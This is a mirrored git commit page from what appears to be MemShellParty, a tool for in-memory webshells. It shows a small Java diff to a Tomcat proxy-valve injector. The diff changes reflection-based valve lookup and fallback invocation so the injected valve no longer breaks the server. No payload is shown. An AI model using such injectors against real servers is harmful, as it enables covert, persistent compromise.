mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-26 00:41:52 +08:00
fix: proxyValve cause service exception
This commit is contained in:
+4
-2
@@ -57,8 +57,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
return method.invoke(rawValve, args);
|
|
||||||
}
|
}
|
||||||
|
return method.invoke(rawValve, args);
|
||||||
}
|
}
|
||||||
return method.invoke(rawValve, args);
|
return method.invoke(rawValve, args);
|
||||||
}
|
}
|
||||||
@@ -114,7 +114,9 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
String fieldName = "first";
|
String fieldName = "first";
|
||||||
try {
|
try {
|
||||||
rawValve = getFieldValue(pipeline, fieldName);
|
rawValve = getFieldValue(pipeline, fieldName);
|
||||||
} catch (NoSuchFieldException e) {
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (rawValve == null) {
|
||||||
fieldName = "basic";
|
fieldName = "basic";
|
||||||
rawValve = getFieldValue(pipeline, fieldName);
|
rawValve = getFieldValue(pipeline, fieldName);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user